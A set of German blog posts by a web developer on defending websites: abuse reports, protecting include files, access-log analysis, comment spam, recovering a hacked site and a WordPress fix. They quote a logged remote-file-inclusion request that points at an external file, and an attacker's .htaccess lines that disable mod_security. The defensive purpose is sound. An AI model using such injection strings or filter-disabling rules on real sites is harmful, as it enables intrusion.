IP-Adressen aus Deutschland jedoch handhabe ich etwas vorsichtiger. Schließlich könnte später ein regulärer Besucher diese Adresse zugewiesen bekommen.

Ich sehe deshalb bei ip-lookup.net erst nach, ob der Provider eine Beschwerde-Adresse angegeben hat, und dann schicke ich eine E-Mail. Die sieht so aus:

Hallo,

eben ($time) hat jemand von Ihrer IP-Adresse aus versucht, sich in meine Website einzuhacken:

$request

Bevor ich mich an eine andere Stelle wende, möchte Sie zuerst darauf hinweisen. Bitte unterrichten Sie mich über Ihr Vorgehen.

Mit freundlichen Grüßen
Thomas Scholz

Da bekomme ich in etwa 50% aller Fälle eine Rückmeldung, manchmal dauert das leider recht lange. Den Rekord hat am Sonntag all-inkl.com gerissen: Schon 30 Minuten nach meiner E-Mail kam diese Antwort.

Hallo Herr Scholz,
danke für den Hinweis.

Wir haben den betreffenden User soeben gesperrt.

Und darunter ein Link auf eine Website, wo man die Antwort bewerten konnte. Vorbildlich.

Am Montag dann das Gegenteil: Von einer Adresse, die evertz.de zugeordnet wird, kam 3:30 Uhr ein Angriff, vier Minuten später ging meine E-Mail ’raus. Und 18:00 Uhr kam … noch ein Angriff. Aber keine E-Mail bis heute.

Über den Sinn der IP-Sperren hatten wir hier schon lange Debatten.
Heute interessiert mich: Welche Erfahrungen habt ihr mit Mißbrauchsmails gemacht? Haltet ihr das für Zeitverschwendung? Oder handhabt ihr das ganz anders?

Manche Dateien möchten wir nur in andere einbinden: Konfigurationsdateien, Klassen oder Ähnliches. Sie sollen nie per HTTP aufgerufen werden, weil sie sensible Daten enthalten oder allein kein nützliches Ergebnis hervorbringen.
Dafür gibt es vier Wege.

Außerhalb des Wurzelverzeichnisses lagern

Einige Webhoster bieten einen FTP-Zugang an, bei dem wir oberhalb des Webverzeichnisses einsteigen. Sehr praktisch: Wir legen dort einfach ein Verzeichnis für die einzubindenden Dateien an und rufen sie dann ungefähr so auf:

require_once
    dirname($_SERVER['DOCUMENT_ROOT'])
    . DIRECTORY_SEPARATOR
    . 'includes'
    . DIRECTORY_SEPARATOR
    . 'config.php';

Geschütztes Verzeichnis unterhalb der Wurzel

Wenn wir keinen Zugriff oberhalb des Wurzelverzeichnisses haben, dann legen wir eben eines darunter an und schützen es. Da bieten sich zwei Varianten an, die beide per .htaccess erzeugt werden.

Umleitung aus der generellen .htaccess:

Redirect permanent /includes/ http://localhost

Oder wir legen eine .htaccess in das geschützte Verzeichnis selbst und schreiben dort hinein:

Order allow,deny
Deny from all

Das Einbinden aus dem PHP-Skript sieht fast genauso aus:

require_once
    $_SERVER['DOCUMENT_ROOT']
    . DIRECTORY_SEPARATOR
    . 'includes'
    . DIRECTORY_SEPARATOR
    . 'config.php';

Bestimmte Endungen verbieten

Bei komplexeren Skripten möchten wir natürlich alle Dateien hübsch ordentlich in Verzeichnissen ablegen, deren Ordnung nicht vorrangig von der Zugriffskontrolle geprägt ist.

Hier benutze ich gerne die Endung inc für Includes. Angenehmer Nebeneffekt: Ich weiß schon beim Blick auf die Verzeichnisliste, welche Dateien wie aufgerufen werden sollen.

Vier Zeilen in der .htaccess verbieten den Zugriff auf alle Includes:

<Files *.inc>
    order allow,deny
    deny from all
</Files>

Kontrolle innerhalb der Datei

Das ist die scheußlichste Methode, weil man von außen nicht sieht, ob die Datei geschützt ist. Und leider ist es auch die häufigste.

Am Kopf der Datei steht eine … freiwillige Selbstkontrolle:

if ( 'geheim.php' == basename($_SERVER['SCRIPT_FILENAME']) )
{
	die('Bitte nicht direkt aufrufen!');
}

Immerhin funktioniert sie – wie die erste Methode – auch dann, wenn der Anwender keinen Zugriff auf die .htaccess hat.

Dateirechte anpassen

Schließlich können wir noch per FTP oder SSH den entsprechenden Dateien die Leserechte für anonyme Nutzer entziehen. Das funktioniert immer, und wir sehen es bei der Auflistung der einzelnen Verzeichnisse.

Dank an Alexander Schestag für diesen Nachtrag.

Verwandte Artikel

• .htaccess: Angriffe sehen und blockieren
• Authentifizierung mit PHP und UTF-8
• Ungebetene Gäste mit .htaccess blocken

Mindestens einmal pro Monat grabe ich mich durch die Logfiles jeder von mir betreuten Website. Ein Statistikprogramm wie Piwik sieht zwar deutlich hübscher aus; es erfaßt aber nur einen kleinen Teil der Zugriffe. Anfragen an Newsfeeds, Stylesheets, Bilder und Skripte entgehen ihm meistens.

Grundlagen

Ein gewöhnlicher Eintrag im Accesslog sieht (nach manuellem Umbruch) so aus:

msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:10 +0100]
"GET /2009/ HTTP/1.1"
200
4303
"-"
"msnbot/2.0b (+http://search.msn.com/msnbot.htm)"

Logformat

Das entspricht dem Logformat:

%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"

… und kann übersetzt werden als

Hostname oder IP-Adresse

Wenn der Server keinen Hostnamen findet oder anders konfiguriert worden ist, steht an erster Stelle die IP-Adresse. Ob man die nach deutschem Recht speichern darf, wird immer noch heftig umstritten.

Remote logname

Der Remote logname wird nur befüllt, wenn mod_ident aktiviert wurde und IdentityCheck auf On steht.

Remote user

Der Remote user wird befüllt, wenn man sich per Basic Authentication angemeldet hat.

Die beiden letztgenannten Einträge müssen natürlich auch als »personenbezogene Daten« gelten. Eine (zumindest langfristige) Speicherung dürfte sehr heikel werden.

Request

Der Request wird endlich richtig interessant.

Methode

Vorne steht die Methode: GET, POST oder HEAD. Die anderen Methoden verbiete ich normalerweise:

<LimitExcept HEAD GET POST>
order deny,allow
deny from all
</LimitExcept>

Adresse

Dann folgt die angesprochene Adresse, hier /2009/. Darauf kommen wir gleich nochmal.

Protokoll

Und darauf wiederum folgt das Protokoll, hier HTTP/1.1. Das ist spannender, als es aussieht: In HTTP/1.0 gibt es nämlich keine Vary-Header. Den brauche ich aber für alle Ressourcen, die ich per gzip komprimiere, damit der Empfänger weiß, daß ich mindestens zwei Varianten vorhalte: die komprimierte und die unkomprimierte.
Ich sende also bei HTTP/1.1 den Header:

Vary: Accept-Encoding

Sehen wir uns den Request an, der dem hier genannten fünf Sekunden später folgt:

msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:15 +0100]
"GET /2009/ HTTP/1.0"
200
18124
"-"
"msnbot/2.0b (+http://search.msn.com/msnbot.htm)"

Der MSN-Bot holt sich auch die nicht komprimierte Variante. Warum? Weiß der Geier …
Der Internet Explorer benutzt HTTP/1.0, wenn er hinter einem Proxyserver sitzt. Vielleicht will der MSN-Bot herausfinden, ob er die Seite auch dann noch als Suchergebnis präsentieren darf.

Der Yahoo-Bot kann übrigens überhaupt kein HTTP/1.1. Es ist ja auch erst vom Juni 1999.

Statuscode

Nach dem Request kommt der Statuscode. Die wichtigsten:

Größe

Dem Statuscode folgt die Menge der übertragenen Bytes ohne Response-Header. Wie man an den beiden MSN-Beispielen sieht, besteht zwischen komprimierten und nicht komprimierten Ressourcen ein erheblicher Unterschied.
Beim Statuscode 304 sollte die Menge 0 betragen, sonst hat etwas nicht geklappt.
Und eine Ressource sollte möglichst immer dieselbe Menge ausliefern, wenn sie sich nicht geändert hat. Der WordPress-Feed erfüllt diese Bedingung leider nicht immer; das wollte ich schon längst mal untersuchen …

Referer

Der nächste Eintrag (beim MSN-Bot immer leer) ist der Referer. Eigentlich heißt das englische Wort ja Referrer, aber vor vielen Jahren hat sich mal jemand beim Schreiben der Spezifikation vertippt, und seitdem fehlt das eine »r«. Da sieht man wieder, warum Korrekturlesen so wichtig ist.

Normalerweise steht im Referer die URI, von der aus auf die aktuelle Ressource zugegriffen wurde. Oft ist er aber auch leer, oder es steht Spam darin (sogenannter »Referer-Spam«). Manchmal auch feindlicher Code. Deshalb sollte dieser Wert nie ungeprüft in Skripten verwendet werden, und für eine Linkliste ohne Vorkontrolle eignet er sich ebenfalls nicht.

Beim Statuscode 404 kann er uns zuweilen verraten, ob jemand einen kaputten Link gesetzt hat. Da ist der Wert tatsächlich hilfreich.

User-Agent

Hier gelten die gleichen Sicherheitsregeln wie beim Referer. Ich benutze das Feld vorrangig, um Störenfriede loszuwerden. Generell ist es so glaubwürdig wie ein 3-Euro-Schein.

Suchmuster

Wonach suchen wir eigentlich? Nach allem, was ungewöhnlich oder ungewollt aussieht.

Ungewollt sind Fehler: Alle Anfragen, die mit einem 400er oder gar 500er Code beantwortet wurden, verdienen unsere erste Aufmerksamkeit.

400er

In einem Texteditor unserer Wahl suchen wir nach dem regulären Ausdruck " 4\d\d (ein Leerzeichen rechts). Damit finden wir alle 400er Statuscodes.

Die meisten angeforderten Adressen in dieser Zeile enthalten Parameter, über die jemand fremden Code einschleusen möchte:

web.weborange.hu
- -
[01/Jan/2010:01:32:51 +0100]
"GET /2009/authentifizierung-php-utf-8/%252520%252520/?_SERVER%255bDOCUMENT_ROOT%255d=http:/example.com/member/one.txt%253f%253f%253f HTTP/1.1"
404
995
"-"
"Mozilla/5.0"

Hier sieht man zweierlei: Der Angriff richtet sich gegen schlampig programmierte PHP-Skripte, und mein Doppelslashkiller hat die einzuschleusende URL entschärft. Selbst wenn ich also ein unsicheres Skript vorhielte, brächte der Angriff nichts, weil http:/example.com keine URL ist, mit der PHP oder eine andere Sprache etwas anfangen kann.
Ein paar Einträge über diesem steht der ursprüngliche Versuch mit den Doppelslashes und dem Statuscode 301. Den hat aber die .htaccess abgefangen und umgeleitet, ehe ihn auch nur ein Skript zu Gesicht bekommen konnte.

Ein weiterer Eintrag sieht so aus:

static.[anonymisiert].clients.your-server.de
- -
[01/Jan/2010:16:49:56 +0100]
"GET /p1563/ HTTP/1.1"
404
995
"-"
"Mozilla/5.0 (compatible; Rivva; http://rivva.de)"

Ich hatte ein paar Minuten zuvor bei Twitter einen ähnlichen Link gepostet:

Willkommen im alten Jahrzehnt: http://toscho.de/p1563 #gebloggt

Ähnlich! Der Rivva-Bot hat einen Slash angebaut und dann die falsche Adresse aufgerufen. Spannend wird jetzt die weitere Suche nach dem Rivva-Bot im Logfile: Kommt er nochmal, um die korrekte Adresse zu holen? Nein, tut er nicht.

So etwas verrät mir kein Statistikprogramm.

Ich habe darauf doppelt reagiert: Ich habe Rivva per Twitter Bescheid gegeben – und zwar keine Antwort bekommen, aber der Tweet wurde immerhin »gefavt«. Das ist vermutlich eine sehr subtile Methode, mir zu sagen: »Wir wissen jetzt davon und kümmern uns darum.«
Außerdem habe ich in die .htaccess eine Weiterleitung für genau diese und ähnlich kaputte Anfragen eingebaut:

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} ^/\%3fp\=(\d+)$ [OR]
RewriteCond %{REQUEST_URI} ^/p\=?(\d+)/?$
RewriteRule ^.* http://toscho.de/?p=%1 [L,R=301]

Und dann gibt es manchmal noch die 404er, die nicht wie Angriffe aussehen und unsere eigene Domain im Referer zeigen. Da haben wir vielleicht einen falschen Link gesetzt oder einen Fehler im Markup oder im Stylesheet. Logische Reaktion: Reparatur, Kontrolle, ein Schluck Kaffee.

500er

Regex: " 5\d\d (ein Leerzeichen rechts).

Wenn der Server aufgrund eines Fehlers in der .htaccess nicht mitspielt, sehen wir das sofort. Dazu reicht ein vergeblicher Aufruf der Website.

Anders sieht es mit gelegentlichen Ausfällen aus: Ein Skript mag unter ganz bestimmten Umständen PHP abstürzen lassen, oder der Server aus irgendeinem Grund manchmal überlastet sein. Wer sich einen Server mit anderen Websites teilt (Shared Hosting), kann davon auch betroffen werden, ohne die Ursache in die Hand zu bekommen.
Hierfür müssen wir ein zweites Logfile ansehen: Das Errorlog. Das ist so ähnlich aufgebaut wie das Accesslog, und darin steht, was genau passiert ist. Zumindest der Webhoster hat eins.

Massenabfragen

Manchmal sieht die einzelne Abfrage technisch ganz korrekt aus, aber der Blick aufs Ganze löst dann doch einen Würgereiz aus. So hatte ich unzählige Requests von einem Java/1.6.0_11 (die letzten Zahlen variieren). Diese Crawler haben gerne alle Feeds für alle Artikel und Kategorien abgeholt – 20 Mal pro Stunde.
Antwort:

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} !/greedy\.html
RewriteCond %{HTTP_USER_AGENT} ^Java/1\.\d [NC]
RewriteRule ^ /greedy.html [L,R=301]

Ebenfalls bedrückend aber derzeit nicht zu ändern: Kaum ein Crawler hält sich an die Vorgaben zur Aktualisierung des Newsfeeds. Wer freilich zu gierig wird, wird hinweggebeten. Man muß sich ja nicht alles gefallen lassen, und das Ziel sollte doch eine schnelle Website für richtige Besucher bleiben. Deshalb verteile ich meine begrenzten Ressourcen lieber effizient.

Einige Feed-Crawler verraten im User-Agent, wieviele Leute den Feed lesen:

38.99.68.203
- -
[01/Jan/2010:19:45:18 +0100]
"GET /feed/ HTTP/1.1"
200
16543
"-"
"Mozilla/5.0 (compatible; FriendFeedBot/0.1; +Http://friendfeed.com/about/bot; 16 subscribers; feed-id=3418198305143441017)"

Das finde ich sehr freundlich. Logfiles können also auch Spaß machen.

Hier im Blog kommen auf jeden echten Kommentar drei Spamversuche. Im Rahmen einer Twitterinitiative will ich hier mal meine Mittel dagegen vorstellen: Akismet und eine Blacklist in der .htaccess.

Foto: Spam wall von freezelight

Akismet

Dieses Plugin kommt automatisch mit WordPress und gehört neben dem unbeliebten »Hello Dolly« zu den ersten Core-Plugins.

Es sendet die Daten eines Kommentars an einen zentralen Server, der sie auf Übereinstimmungen mit anderen als Spam markierten Kommentaren prüft. Wurde jemand in einem Blog als Spammer gekennzeichnet, so landen seine Kommentare in allen anderen Blogs, die Akismet verwenden, sofort im Spamverzeichnis. Akismet lernt also; das ist die große Stärke des System.

Installation

Wer WordPress installiert, hat Akismet automatisch an Bord. Mehr muß man nicht basteln; das Theme oder andere Dateien kommen ohne Änderung aus.
Allerdings muß man sich einen API-Key auf wordpress.com besorgen – für jedes Blog mit einer anderen E-Mail-Adresse.
Tip: In Google-Mail-Adressen können Punkte an beliebiger Stelle eingestreut werden; Akismet wird jede Variante als eigene Adresse betrachten, und man verbrennt nur eine.

Anwendung

Wie schon beschrieben: Die Daten werden an Dritte gesendet. Wer dem deutschen Recht unterliegt, sollte also über dem Kommentarfeld einen Link auf seine Datenschutzerklärung setzen, in der er klar auf diesen Vorgang hinweist.
Wer nicht per Gesetz dazu verpflichtet ist, möge das bitte als freundliche Geste auch tun.

Akismet funktioniert rein serverseitig und kann daher als sehr zugänglich bezeichnet werden. Javascript, CSS oder gar das Laden von Bildern sind nicht nötig.
Außerdem funktioniert es ohne Pflichtfelder. Hier darf jeder anonym schreiben, und das möchte ich auch beibehalten.

Präzision

Bei automatisiertem Spam funktioniert Akismet hier zu 100%. »Handarbeit« rutscht manchmal durch. Allerdings habe ich bei Weitem nirgends so viel Spam wie beispielsweise Frank; meine Erfahrung kann also nicht gut übertragen werden.

Manchmal erwischt Akismet auch richtige Kommentare, wenn deren Autor andernorts als Spam markiert wurde. Dieses »Lernergebnis« kann man jedoch wieder aufheben, so entsteht kein langfristiger Schaden.

Nachteile

Wenn Akismet einen Kommentar als Spam kennzeichnet, erhalte ich keine E-Mail. Ich muß also jeden Tag mindestens einmal in die Liste sehen, um eventuell falsch erkannte herauszufischen. Bei einem Blog stört das nicht, ich betreue aber ein paar mehr. Da bleibt da schon einmal ein Kommentar etwas länger in der Warteschleife. Schade.

Das Menu hängt sich als Unterpunkt zum Dashboard ein, nicht unterhalb der Kommentare, wo es hingehört. Das provoziert WordPress dazu, auch einen Untereintrag Dashboard danebenzustellen. Lästig.

Akismet gehört zu Automattic, der treibenden Kraft hinter WordPress – und Gravatar, PollDaddy, IntenseDebate und bbPress. Dort laufen also viele Nutzerdaten zusammen. Für mich ist dies der Hauptgrund, mich nach Ersatz umzusehen.

.htaccess

Im Projekt »Stop Forum Spam« werden, wie der Name schon andeutet, Daten von Forenspammern gesammelt: Name, E-Mail- und IP-Adresse. Schlägt man dort eine IP-Adresse nach, bekommt man gleich auch die spammigen Nachbaradressen.
Wenn ich mal eine lange Liste von IP-Adressen habe, lasse ich sie dort nachsehen, und wenn sie schon bekannt sind, blockiere ich sie samt ihrer Nachbarn in allen Blogs, die ich betreue.
Ausnahme: »Deutsche« IPs blocke ich nicht, sondern ich schicke dem Provider eine Abuse-Mail.

Ich hatte dafür mal eine automatische Lösung, die leider nach einem Akismet-Update nicht mehr läuft. Da ich vermutlich nicht bei Akismet bleiben werde, habe ich das nicht mehr nachgeflickt.

Die Lösung hat den großen Vorteil, daß sie den Spammer wegschickt, bevor WordPress überhaupt geladen wird. Sie ist also sehr schnell.
Der Nachteil ist gegenwärtig die umständliche Handhabung. Ich werde vielleicht mal automatisch alle neuen IP-Adressen einmal pro Tag abfragen und in meine Liste übernehmen.

Mitmachen

Dieser Artikel ist Teil einer kleinen Aktion, die den Lesern eine Entscheidungshilfe geben soll. Wenn du auch ein Blog betreibst – es muß nicht WordPress sein – dann sieh doch mal in die Checkliste, und schreib einfach los.

Die folgende Liste ergänze ich, sobald ich von deinem Artikel erfahre:

• Micha: Antispam Bee – Meine WordPress Antispam Lösung
• Frank Bültge: WP - JS AntiSpam Plugin
• Dominik (ocean90): Biene versus Spam oder mit Antispam Bee dem Spam entkommen
• Helmut Pozimski: Der alltägliche Kampf gegen den Blogspam (Plugin NospamNX)
• Marco Döhring: Spam mit WordPress und Mollom bekämpfen – funktioniert mit OpenID.
• Dieter Welzel: Spam-Schutz auf Webseiten-Infos.de (mehrere Plugins und Techniken)

1. Scott Boms: Burnout.
   

   Web professionals are often expected to be “always on”—always working, absorbing information, and honing new skills. Unless our work and personal lives are carefully balanced, however, the physical and mental effects of an "always on" life can be debilitating.

   Boms spricht hier sehr offen über ein Problem, mit dem vermutlich viele Webworker zu kämpfen haben: Hinter all der guten Laune, dem steten Lernen, Basteln und Kritisieren, das man auf Twitter und den Fachblogs lesen kann, steht oft ein ungeheurer Druck, den niemand zeigen oder überhaupt wahrnehmen will.

2. Eine Monitortapete mit typographischen Fachbegriffen hat Sigurdur Armannsson entworfen. Wer gibt uns das deutschsprachige Pendant?
3. Jeff Starr: The 5-Minute CSS Mobile Makeover.
   Das Understatement des Monats. Lektüre satt.
   Ebenfalls dort: Htaccess Password-Protection Tricks.
4. @font-face-kits.
   Das nenne ich mal praktisch: Knapp 200 Schriften als fertige Pakete inklusive EOT-Dateien und Beispielstylesheets zum Downlad.
5. Hallvord R. M. Steen: Most expensive javascript ever?
   Schlechte Scripte entpuppen sich ja oft als Verkaufsbremse. Aber so schlimm darf es nie werden.
6. BDG (Bund Deutscher Grafik-Designer e.V.): Lebensumstände selbstständiger Designer nach dem Berufsstart (PDF).
   Die Ergebnisse einer Umfrage vom April dieses Jahres. Für den Nachwuchs vielleicht eine Entscheidungshilfe und sicher ein wichtiger Baustein des Businessplans.
   Ein paar interessante Zahlen:
   • 16,8% der Designer sind Quereinsteiger.
   • 64,8% arbeiten ökonomisch selbständig, davon 60,7 % ohne Partner.
   • 8% haben keinen Computer. Faxen die ihre Entwürfe?
   • 35% kaufen keine Schriften, waraus der Autor flott schlußfolgert, daß die vermutlich klauen.
   • Wer nach Stunden abrechnet, liegt meistens zwischen 30—70 €. Wie man mit 30 € pro Stunde noch schwareze Zahlen schreiben kann, sei mal dahingestellt …
   • 68,9% generieren neue Aufträge, indem sie von Bestandskunden empfohlen werden. Deshalb kostet das erste halbe Jahr auch so viel Kraft. Wer das durchhält und gute Arbeit abliefert, der braucht – so meine Erfahrung – kaum noch Akquise zu betreiben.
   • Die meisten Rechnungen werden binnen vier Wochen beglichen. Dennoch muß man immer einkalkulieren, daß ein Kunde gar nicht bezahlt. Das ist mir am Anfang passiert – sehr unangenehm. Nach der Vorkasse wurde offenbar nicht gefragt. Die spielt aber eine wichtige Rolle; nicht nur ökonomisch, sondern auch für die Motivation …
   • 20% können nicht allein von ihrem Einkommen leben. Das ist eine Menge.
7. Und noch ein Blog will ich empfehlen: Heiko Kunerts »Blind-PR«.
   Heiko ist vollblind und schreibt mit viel Humor darüber. Besonders angesprochen haben mich die Geschichte über die aufdringlichen positiven Vorurteile eines … Tischwegweisers und Ute Gerhardts Gastbeitrag: »Alltag mit blinden Eltern«. Stöbert mal. Das lohnt sich.

Deine Website gehört dir nicht mehr.

Schick stillen Dank zum Bösewicht, jetzt kannst du etwas lernen.

1. Fenster zu!

Zuerst möchtest du deinen Besuchern den Schadcode ersparen; also greif zur Keule. Lege eine Datei »tmp.html« ins Wurzelverzeichnis deiner Website:

<!Doctype html>
<title>Wartungsarbeiten</title>
<meta name="robots" content="noindex">
<p>Wir streichen gerade alles neu, kitten die Fugen
und schrubben den Boden. Bis bald!</p>

In deine .htaccess schreibst du:

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/tmp\.html$
RewriteRule .* /tmp.html [L]

Sonst sollte nichts anderes in deiner .htaccess stehen.

Download Notfallpaket.

Jetzt werden alle Zugriffe auf deine Seiten mit dieser HTML-Datei beantwortet. Kontrolliere das während der nächsten Schritte in engen Zeitabständen! Noch kann der Angreifer diesen Schutz entfernen.

2. Betriebssystem säubern

Oft kommt ein Angreifer nicht durch Lücken der Software in die Seite, sondern über den Rechner eines Benutzers mit FTP-Zugriff.

Das typische Szenario eines solchen Hacks sieht so aus: Du betreibst eine Website und verwaltest sie von einem Rechner aus, auf dem du Windows benutzt, im schlimmsten Fall mit einem Administratorkonto. Dort hast du dir Schadsoftware installiert, die alle Tastatureingaben an den neuen Besitzer deines Computers schickt. Irgendwann auch die FTP-Zugangsdaten.

Deshalb wäre jetzt schon eine Reparatur deiner Website reine Zeitverschwendung.

Bring zuerst deinen Rechner in Ordnung. Mein Tip: Besorg dir ein Betriebssystem, das sicherer konzipiert wurde als Windows, und arbeite künftig nur von dort aus mit deiner Website.

Ich empfehle OpenSuse. Das verlangt keinen Freak für die Installation; es läßt sich leicht bedienen, und die Community hilft schnell, freundlich und kompetent. Eine Live-CD kannst du auch benutzen; die läuft ohne Installation.

Freilich verstecken sich Keylogger nicht nur im Betriebssystem; sie fühlen sich auch in Apple-Tastaturen sehr wohl.

Alle weiteren Schritte mußt du von einem sauberen System aus vollziehen. Oder wieder und wieder, jede Woche neu.

Kontrolliere jetzt deine Wartungsseite. Wenn sie weg ist, stell sie wieder her.

3. Paßwörter ändern

Logge dich bei deinem Webhoster ein, und ändere das Paßwort für diesen Login.

Lege ein neues FTP-Konto an, und kontrolliere mit einem FTP-Programm, ob es auch funktioniert. Benutze einen verschlüsselten Zugang, niemals normales FTP! Denn da werden deine Daten im Klartext übertragen.
Sobald das neue Konto funktioniert, lösche alle alten.

Kontrolliere jetzt deine Wartungsseite.

Ändere alle Paßwörter für deine E-Mail-Konten, Webforen, Usenet und so weiter. Bitte benutze Paßwörter, nicht Spaßwörter! Und überall ein neues, sonst genügt es, ein Konto zu hacken, um alle anderen zu übernehmen …

4. Daten sichern

Sichere das Template deiner Website und deine Datenbank. Lösche dann alle Dateien auf deinem Webspace. Auch Bilder, Textdateien und Stylesheets – oft versieht der Angreifer seine Scripte mit irreführenden Dateiendungen.

Kontrolliere deine Wartungsseite. Wenn sie nicht mehr steht, hast du einen Schritt ausgelassen. Geh nicht über Los, laß den Sekt geschlossen, und beginne von vorn.

Ehe du jetzt deine Backups einspielst – Keins da? Dann war’s nicht wichtig! – wird es Zeit für einen …

5. Perspektivwechsel

Nimm für ein paar Minuten die Perspektive des Angreifers ein. Du hast auf einer Website eine Lücke gefunden und freust dich nun: »Hier bin ich Held, hier brech’ ich ein!«

Du willst Geld mit dieser Website verdienen durch Werbung oder Schadcode, der die Rechner ihrer Besucher infiziert und in dein Botnetz einreiht. Du weißt, daß man dir irgendwann auf die Schliche kommt – und daß der Inhaber soviel Cleverness ausstrahlt wie ein Molch in der Wüste.

Deshalb baust du deinen Schadcode nicht sofort ein. Du sägt zunächst weitere Türen in die Website, versteckst auszuführenden Code in der Datenbank, in den Templates und in den Plugins. Außerdem infizierst du die Wächter (sogenannte »Antivirensoftware«), damit sie dich nicht verpetzen.

Und dann wartest du zwei Monate, ohne deinen Code zu aktivieren.

Warum? Weil du dann auch die Backups infiziert hast. Und weil niemand mehr deinen ursprünglichen Weg nachvollziehen kann.

Wenn dein Opfer aufräumt und das Backup der letzten Woche einspielt, wartest du wieder, bis es sich in Sicherheit wähnt – und stellst den alten Zustand wieder her. Dieses Spiel kostet dich fast nichts, und du kannst es Jahre hinziehen.

6. Dateien säubern

Kontrolliere also deine Backups, ehe du sie einspielst. Gründlich.

Suche beispielweise nach PHP-Code, der die Funktionen eval() oder base64_decode() enthält. In allen Dateien, ungeachtet ihrer Endung. Und in der Datenbank. Wie knifflig das werden kann, beschreibt dieser Artikel: How to find a backdoor in a hacked WordPress.

Manchmal steht auch in der .htaccess so etwas:

<ifmodule mod_security.c>
<files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</files>
</ifmodule>

Hole den Code deines CMS’ nur vom originalen Anbieter. Gleiches gilt für die Plugins.

Das sind nur Beispiele. Wenn du dich in der Programmiersprache nicht sattelfest fühlst, die deine Website antreibt, oder sonst kleine Zweifel hast: Verpflichte jemanden, der sich auskennt. Nicht den Nachbarssohn, der Informatik studiert, oder den »günstigsten Anbieter«, sondern einen Profi, der für seine Arbeit haftet.

7. Nachsorge

Beobachte in den folgenden Wochen alle erfolglosen Loginversuche. Dein Hoster hat ein FTP-Log für dich, dessen Lektüre sich lohnt. Wenn er keins hergeben möchte, dann wechsle den Hoster. Jetzt.

Mit ein bißchen Glück findest du im Log den Angreifer, der mit den alten FTP-Daten herumspielt. Und mit noch mehr Glück kannst du seine IP-Adresse mit einer Strafanzeige verbinden … aber erwarte nicht zuviel. Wenn derjenige auch nur halb so viele Mühe investiert wie du, benutzt er einen Anonymisierungsproxy.

• Ziehe regelmäßig Backups deiner Website, und kontrolliere sie.
• Stöbere in deinen alten Seiten, nachdem du dich ausgeloggt hast. Sieh dir auch den Quellcode an.
• Grabe dich durch deinen Webspace per FTP, um neue Dateien aufzustöbern. Setze passende Rechte – nicht jede Datei muß von jedermann beschreibbar sein.
• Halte deine Software auf dem aktuellen Stand. Die meisten Updates stopfen Sicherheitslücken.

Wenn dich das überfordert, oder du schon wieder Schadcode findest, dann delegiere diese Arbeit. Viele professionelle Webentwickler bieten einen Pflegevertrag an, der solche Arbeiten umfaßt.

Du warst, bist und bleibst für deine Website verantwortlich, für jeden Schaden, den sie erleidet oder verursacht. Ein Risiko bleibt immer. Dein waches Auge hoffentlich auch.

Mehr Lektüre zum Thema

• Authentifizierung mit PHP und UTF-8
• .htaccess: Angriffe sehen und blockieren
• Ungebetene Gäste mit .htaccess blocken
• WordPress 2.8.3: Das Doppelslash-Problem

Der Preis besteht aus mehr Fehlern. Das ist unvermeidlich, und es erstaunt auch niemanden, der selbst schon einmal programmiert hat.

WordPress 2.8.3 stopft eine Sicherheitslücke, die seit Freitag bekannt ist: Einfache registrierte Nutzer konnten durch leicht geänderte URLs administrative Rechte ausüben.

Ich hatte zwar schnell eine Fix parat, aber das Team von WordPress Deutschland (WPD) hat mich gebeten, ihn nicht zu publizieren, weil man daraus die Lücke ableiten konnte.
Dieses Verfahren, Problem und Lösung geheimzuhalten, heißt Security by Obscurity. Ich mag es nicht.
Aber bitte … ich kann mein Geltungsbedürfnis gut genug im Zaum halten, um hier nachzugeben.

Dennoch stört mich das Prozedere. Ein Cracker hätte sich die unzensierte Fassung des ersten Reporters leicht aus dem Google-Cache holen können. Und der Administrator eines WordPress-Blogs? Der mußte diesen praktisch unzumutbaren Rat schlucken:

Bis es einen Bugfix für das Problem gibt, raten wir dringend die Benutzerregistrierung zu deaktivieren und ggf. alle (unbekannten) registrierten Benutzer zu löschen, sofern dies vertretbar ist.

Ich habe bei Twitter meinen Bugfix angeboten, und darauf haben sich einige Leute gemeldet – mit Webseiten, deren ganze Funktionsweise vom Engagement registrierter Benutzer abhing. Da sie nicht wußten, wie schnell die nächste Version kommen würde, waren sie verständlicherweise wenig begeistert.

Ich habe mich damit nicht wohl gefühlt, weil ich indirekt auch ein Akteur dieser … Geheimniskrämerei geworden bin.

Wer ein WordPress-Blog verwaltet und nicht die Zeit hat, jeden Tag ins Forum oder ins Blog zu sehen – der hat doch sicher den Feed des WPD-Blogs abonniert. Darüber hätte man leicht die Reparatur verbreiten können – oder sollen.

Ach ja, dieser Schnipsel kommt in die functions.php des Themes:

new Single_Slash;

class Single_Slash
{
    function Single_Slash() // PHP 4. Wer das noch erleidet...
    {
        if ( !strstr($_SERVER['REQUEST_URI'], '//') )
        {
            return;
        }

        header('Location: '
            . ( empty ( $_SERVER['HTTPS'] ) ? 'http' : 'https' )
            . '://'. $_SERVER['HTTP_HOST']
            . preg_replace('~/+~', '/', $_SERVER['REQUEST_URI']), TRUE, 301);
        die();
    }
}

Download als WordPress-Plugin.

Das ist alles. Wenn man einen Doppelslash eingibt, wird man auf eine URL umgeleitet, die eine Kette beliebig vieler Slashes durch genau einen ersetzt.

In WordPress 2.8.3 lenkt einen das Backend jetzt zum Login, wenn man so eine URL eingibt.

Im Frontend bleibt der Mehrfachslash stehen. Probiert es im eigenen Blog: Verdoppelt in einer URL einen Slash, und staunt über die neue URL dieser Seite. Dem Gebot kanonischer Adressen entspricht das nicht gerade.

Wie relevant ist das? Ein Beispiel: Ihr habt ein Blog, das jemand gerne aus seiner guten Position bei Google verdrängen möchte. Er bastelt sich ein Netz kostenloser Weblogs und verfaßt Beiträge, die auf die »alternativen« Adressen der Seiten zeigen, die bei euch am höchsten bewertet werden. Dann wartet er, bis Google erst seine Beiträge indiziert und dann eure »neuen« Seiten. Plötzlich habt ihr eine Menge doppelten Inhalt. Lustig, oder?

Ein kleiner Test im Serendipity-Blog zeigt übrigens, daß nicht nur WordPress daran krankt. ☻

